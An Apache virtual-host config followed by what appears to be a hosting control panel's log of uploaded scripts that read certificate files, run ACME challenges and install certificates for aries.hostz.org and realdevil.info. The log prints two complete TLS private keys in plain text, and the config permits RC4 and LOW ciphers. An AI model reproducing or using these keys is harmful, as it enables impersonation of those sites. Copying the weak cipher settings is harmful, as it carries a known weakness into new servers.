<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-06-14 06:00:12: 

PUT: /tmp/pkp847367

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:12: 

chmod 755 /tmp/pkp847367; /tmp/pkp847367; rm /tmp/pkp847367

2026-06-14 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt	7416
19:9c:99:63:d8:6e:bd:b9:a1:71:f1:42:db:42:21:b9

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBUnYL/W7ueUnrJ/WH1N220gQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMTQwWhcNMjYwOTEyMDUwMTM5WjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCRyS7+SVN0TXlWXcM13fw33iZT2wVi6XDqsCn/Tx2mGZM5XiwDXskBrkLA0Gxy
mnAFMa4QiKUp/xkuTKs4CGu+cJTFnvxFypYp+w5DGU5kUjmi6mvuSaiv4ZnOiin8
SdBvbU2Ht0kXyxZgqkAqnaRfk2WXucVyN4WOKGwgV8BX3rY5TUK4MjfrY4mo9wQK
2M+/0biYUBIvSnfrkcSnf59Qj0CwE2gnhfbcGToPhxp6P8iBufiFb2n8gAXUeYuN
zbC04j+B/+tFRirug3CtZxBHK4ua3yUPDI7f9YfW0tqotXnHUGdHeq2tUSnY7hg8
+rsOzGhdPLXIM1vwE181boXlAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUePCs
HGbGLC7jFm+F8jLMMpsXFh8wHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9hcmllcy5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9y
Zy8xNy5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDXbX0Q0af1d8LH6V/X
AL/5gskzWmXh0LMBcxfAyMVpdwAAAZ7Et1k+AAAEAwBHMEUCIQDYZsJe56yf9JLc
Z2iiUdE0gOfD0zIERHM/DSaBdJMiHgIga3hGYIUif5DJv0GlewX8ZkllBbH8N2WD
3gjskO8ONpQAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ7E
t1oTAAgAAAUACa38nQQDAEcwRQIhANniKhhRy4FzlfILOpGehyJDx74nY3e+RwFc
d12pfyXtAiBiAbwFTqETc2LIV0OElgoF0EbwiBc9H090/+Wur1bs1jANBgkqhkiG
9w0BAQsFAAOCAQEAJvrc7d2vq8o7+wu3ec3ChUchGfClKBfVDdJ2vNxf8n2VwRHe
nZ/Y6jY6PSQyg6jR/YhbyNRmC/GbMuwSzIOg6evJG8AuRdQjqomk2GLvNFtR2Nxo
r7noTVLPHf4Dm8wb/2e7bOdexLLXJwyzH6086YJvhLjTbbivdHksGpj8zjrmlGQE
YQwpaCXxY7nOBIbXke7y8x+M2F4WVKH1tmlzawgiatDCuHAcEbeRCc3ZEXeXjXBL
JUfmws46FBWtcYiauNLHv9B/YtmTocto0qzt28Y/D6/7GWFbd9iIydR59+dhbs9i
QBGqPEhI3TDPwrRuLKc6YR0mW1tz8EQpMKhYeg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCRyS7+SVN0TXlW
XcM13fw33iZT2wVi6XDqsCn/Tx2mGZM5XiwDXskBrkLA0GxymnAFMa4QiKUp/xku
TKs4CGu+cJTFnvxFypYp+w5DGU5kUjmi6mvuSaiv4ZnOiin8SdBvbU2Ht0kXyxZg
qkAqnaRfk2WXucVyN4WOKGwgV8BX3rY5TUK4MjfrY4mo9wQK2M+/0biYUBIvSnfr
kcSnf59Qj0CwE2gnhfbcGToPhxp6P8iBufiFb2n8gAXUeYuNzbC04j+B/+tFRiru
g3CtZxBHK4ua3yUPDI7f9YfW0tqotXnHUGdHeq2tUSnY7hg8+rsOzGhdPLXIM1vw
E181boXlAgMBAAECggEAI7I+Nndf3tdlgXc96D+tlURo4Bl97SU5x81QyznlCZmz
idV8M2sPDsFLiQi/tSQJj8wFUfkTcAANe1+8gODW+O96DhWKsdAUCr11VYqpvji/
8hsySEty6XX1AjSkaSjtx4rc9AE1/YR1uz+UrJqi9+AQfSE4rmnX4uIU76ps51a7
S0neEpn+DLxuh3fR+6sQ9N89pNEw6wb9QpTOB5fhLoKFXNCxAkLYSRzbWlRprZIv
wzxM3uyL9qsNyU8PWqx2+C2bdz3VbQBe8MXwEILAVLbP6Vxjui2nCVXjxafZknXB
2kx4TS8FelFVcr9O6ZwbeBX0hJZCEAR20ZQwrYlGgQKBgQDL4BKna1Cu9pMGG/Iq
7swB0q72JOPov2Jbj765+nnUQZSVNCivnytLOCDUCESg9rbPrqxbR7ox1/Fmq4gD
13ZLnZy2/NnhwPN59hrQgynhNgdRj2nh48cXbXER9wY5ByxsKZdlPHNOAHsXP6/V
V33ZXCctxvTXHVzoTTrvqRW0BQKBgQC3DxN/7uZoAF9zIv0isY/hoSHDIsxIo1M7
RErfNpJwjNaV/WRFRZ/h5daqi0qkfeffMmuHVXSYTg0LB34AvK171G9Jz4ya7q+S
RjK4+x3KZS4r6FMOtL/bCv+qMRpBdeX1kua8bdp0gSjXXQIPQedubu78jXZUt1Yo
wFvORDEQYQKBgQCtUUZKcZ7bvt7qWKOc//kKq7L1qhLecKULNb5smJUtbrsDxJ25
/1Rs08CEwKqnNFXhZJs91lJhwTSFldlBetAkJE9v+LC5jLDvw9qz3G2j+axrF8Jp
uJwuPGndXeU6YfDP2uPLuoJDk4ERGKFAeuqP+BmOfw7yORIcolsyFspOiQKBgFFZ
fczombO2FrTP47Y7OjmGpb5WBHpzOlWoL62qTsF9lQ7qoFi4bCizPwZjCDS5TwW9
HlPyAfJ9HQa9uZ0SO/Y/nYUrmsxvLc7PK1NRJRgAhtg0UlTCtk/dP2iekZBtmFfd
hHRQTThg/YlXZ8bn/rTwz3ukUeWr47oQYbv0SemBAoGAMekArLrlyQZVVec/9UmP
9TFLNdMYsSw/iYqf5Us1G8AEpFhSiEIa5+KH/pvrbDrWFtlG2Mk7fU8wHUMO+pjx
OtwNRxkm8p7XatbKzDtGYxOzVawGtJEvuc1QqJSq22g9GGlzp6lwErMZZIB9sHqp
f/b61gIwbGsm2zt8eYu5FHo=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-14 06:00:12: Establishing a connection
2026-06-14 06:00:12: Establishing a connection
2026-06-14 06:00:13: 

PUT: /tmp/pkp445765

#!/bin/bash
if [ -d "/var/www/realdevil_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-14 06:00:20: 

chmod 755 /tmp/pkp445765; /tmp/pkp445765; rm /tmp/pkp445765

2026-06-14 06:00:20: 


1


2026-06-14 06:00:21: Establishing a connection
2026-06-14 06:00:21: 

PUT: /tmp/pkp407895

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
cat > 7L4lX148yyBZjyn0k8PKwkBlDFLhbfP7C5KCKGuwy9o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7L4lX148yyBZjyn0k8PKwkBlDFLhbfP7C5KCKGuwy9o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7L4lX148yyBZjyn0k8PKwkBlDFLhbfP7C5KCKGuwy9o
cat > z-Nu2wzId2SdYXWKO9JtGQVLcfBqgpQPUnseWssp2qo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
z-Nu2wzId2SdYXWKO9JtGQVLcfBqgpQPUnseWssp2qo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 z-Nu2wzId2SdYXWKO9JtGQVLcfBqgpQPUnseWssp2qo


2026-06-14 06:00:21: 

chmod 755 /tmp/pkp407895; /tmp/pkp407895; rm /tmp/pkp407895

2026-06-14 06:00:21: 




2026-06-14 06:00:29: Establishing a connection
2026-06-14 06:00:29: 

PUT: /tmp/pkp879869

#!/bin/bash
mkdir -p "/var/www/realdevil_www/.well-known/acme-challenge/"
cd "/var/www/realdevil_www/.well-known/acme-challenge/"
rm 7L4lX148yyBZjyn0k8PKwkBlDFLhbfP7C5KCKGuwy9o
rm z-Nu2wzId2SdYXWKO9JtGQVLcfBqgpQPUnseWssp2qo


2026-06-14 06:00:29: 

chmod 755 /tmp/pkp879869; /tmp/pkp879869; rm /tmp/pkp879869

2026-06-14 06:00:29: 




2026-06-14 06:00:29: Establishing a connection
2026-06-14 06:00:30: 

PUT: /tmp/pkp919141

#!/bin/bash
temp_file=$(mktemp)
TARGET=2a6ddbe9e3dc02179c0a0d6b1925eaef.pem

cat > $temp_file <<'endmsg'
55:fc:be:d6:42:43:83:42:5f:2a:00:a0:38:5d:b5:af

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBSm0Qpx2VBhOO2aFQQeVcX5TMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE0MDUwMTU4WhcNMjYwOTEyMDUwMTU3WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANcD3+3+ZesV5NRPLPnn03IjUwPK+U7yoiJcXeXw3dVqLiyZlvE4+ONbhu2y6FR0
WZatcY4lyrx5Uu+mX9kM51mO6AooQ2ARNUEHJzgdsx1pyZIgLTwVwCJCj6rUkVkB
OarJUpF0xe4DJPZv+kTnlO5uw3jzuBcCBR5ExwQXrMXAeBiZ08OnXOGlptXiJCOz
aPUV8J+rAi00dIuQ+k7yLKxFKyOTU2o6GZLYolPodKH8beq7hkIFozX9XH6pBcqx
10jUYzuSIc4uhrfR3r5xrzOHka2ieOSAdOhOHdvy73kIcVzOpd84Wf6mo1zQBHCa
JE8QLOPHOnwGlIrF1kdicKUCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTNmU2E
0LCD12F/3nsUCmJy/58LbjAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDnJlYWxkZXZpbC5pbmZvghJ3d3cucmVhbGRldmls
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy84NC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ7Et5+5AAAE
AwBIMEYCIQD8+cU4fjYcwGxHEfYgejukbbA7XD+cbUsEOOYuMRixiQIhAJ/Rl4Wi
ZGBr02OaxSc16FgnlPb+V3tXGAByYrIdNfsKAH4AbP5QGUOoXqkWvFLRM+TcyR7x
QRx9JYQg0XOAnhgY6zoAAAGexLehEQAIAAAFABBnK6EEAwBHMEUCIBZizSlQdIMM
a8TqSz0HKWh6KH8nGrF3JTQ+4WyKaOTnAiEAsyR0IDVVew54H4o7lc+cyjdESXHg
A/K+FHTqFXGtpUUwDQYJKoZIhvcNAQELBQADggEBAJff1MJMXgBXLv3qojluYZjy
pBJPaSF5F4ejjLp66caWW6zAOFrJdjhagRNULuYlxVxUmZodYiNdmbvpI96QauM4
DV5q5N7Jv/LtaFcjsfCjo/XhfCBVbqjVg50BtMpYYrLs/bdF4WPNrtKhCbwjBclP
qE9+4MHWwR0KAkpzqJ0GZ3VITtNtEHkM9kXbLJHaFlGLaJUODxkfMHiHVgR1+75A
yUo7p8iJWfj2R8BfmSXsZjL7heS56AwpFDU/pa2j5/Sz97M9MgvgYS6NhCCZkZvH
oX+7w1SpBdVLjTsJBSGngBEy+FoYRdBzVI/7ExSL9AbqScE4aHuDMtIpg2wRZg0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDXA9/t/mXrFeTU
Tyz559NyI1MDyvlO8qIiXF3l8N3Vai4smZbxOPjjW4btsuhUdFmWrXGOJcq8eVLv
pl/ZDOdZjugKKENgETVBByc4HbMdacmSIC08FcAiQo+q1JFZATmqyVKRdMXuAyT2
b/pE55TubsN487gXAgUeRMcEF6zFwHgYmdPDp1zhpabV4iQjs2j1FfCfqwItNHSL
kPpO8iysRSsjk1NqOhmS2KJT6HSh/G3qu4ZCBaM1/Vx+qQXKsddI1GM7kiHOLoa3
0d6+ca8zh5GtonjkgHToTh3b8u95CHFczqXfOFn+pqNc0ARwmiRPECzjxzp8BpSK
xdZHYnClAgMBAAECggEAH9vkc5syTCGzr6cGVFvT/3bZzMISgW7U30qDD0MgBjNJ
dt+lzJr90JJgl8Uz75pIfARkba+OhAa7Zzm7vKl7eNBX9B6rJ7I6YHxIL2RshHsx
nC6bBUAjy+/DjIhv+5mBi0YcBI7M6nYaJU8fl34eRIYHqLBUIp9GADTTWE6PEcMs
IioBUb3bJHARQUf8WBizzAda0Oly3X92CasAcqw6RykS/T4BapHTHhLXDdRehhT8
YSUq/noTQrNaecqk8ZOWf2fiYohH86VLKr9nIKTi+e6xBGaX/VJGqdALOKFqoOVm
sjWEw8kALjgu+E44tXs3FjBZ9ykJyt4/EtpM/NHdMQKBgQDylaxRzHphpQOq6tCK
/nUHQXXT2ffTGegs4iO0wxEc8f3zLKbdMprjrlMrXyqv1kJ+SGDukE9wK7IkLwWo
axTLyikaeuaz1E5bbfc6dKimxnw+w5lyYQHLcAlSf+3iwbNLZ1xndaz55VYGagkr
0kV+QHUCOeVDR1aAkDniNxozTwKBgQDi5+S71GYK0XrsK6Ry3VVobmbQCDKKG385
m2jbdCKFf1kfr1TSycMN9ux160QRo+D1V7larrscGgrmInC/FeyfkxlT7+Bn7qE/
AbplBC/tkSuDnxHff76H1B2TEOL5Lo/TMKJARqn1BC4QZ4PJpvrKFZSo5sETMB4D
JdnQy7vvywKBgQCAuwCY3+PJ0WGi370PJX1A/nHinHaw5byZpN/B2wpHy/sxgm6C
T4p2bFniWDw014StswcNUjN1mRqNrQ5Zk4mTo5IwZSvsHiv+xNo/gQzGg+oG/JF/
aw8iwC+SQiUhAh19VDprBL1oV1VRTg/T21/ZYac2KTcKft7elqrA6vDSbQKBgQCh
xh1RQUSjb+jI2vC7KEyNUTEiHsYRqzsQ0ll3JRy7uyjKq1G5mznjCepaxCravNFV
en7fRXaHuZWNsH5b7oCu4MyNCJgg4YS7DDtdbBfTs82nYND4XPZ1luijAsYgTG8k
bicv1nG0C4/gCD1wlwl07N/5b9O2H3c2XVUnRSov8wKBgQCDVe/Z7Wma8nRy+ncL
UkgTsQceqRllNrFYuLtAkawfGa7iErPY9DJ7KIYkrmHkQaYMB84xp8cqzFaMONMM
3g1jNdaYbzrn+r5pWGG+MLN6HpUmMksw2tjhueSGJryJRbyGx0NpDmRo4nM3Bhca
3l1q1ZtH/Zoifx3jYinREM/kzA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
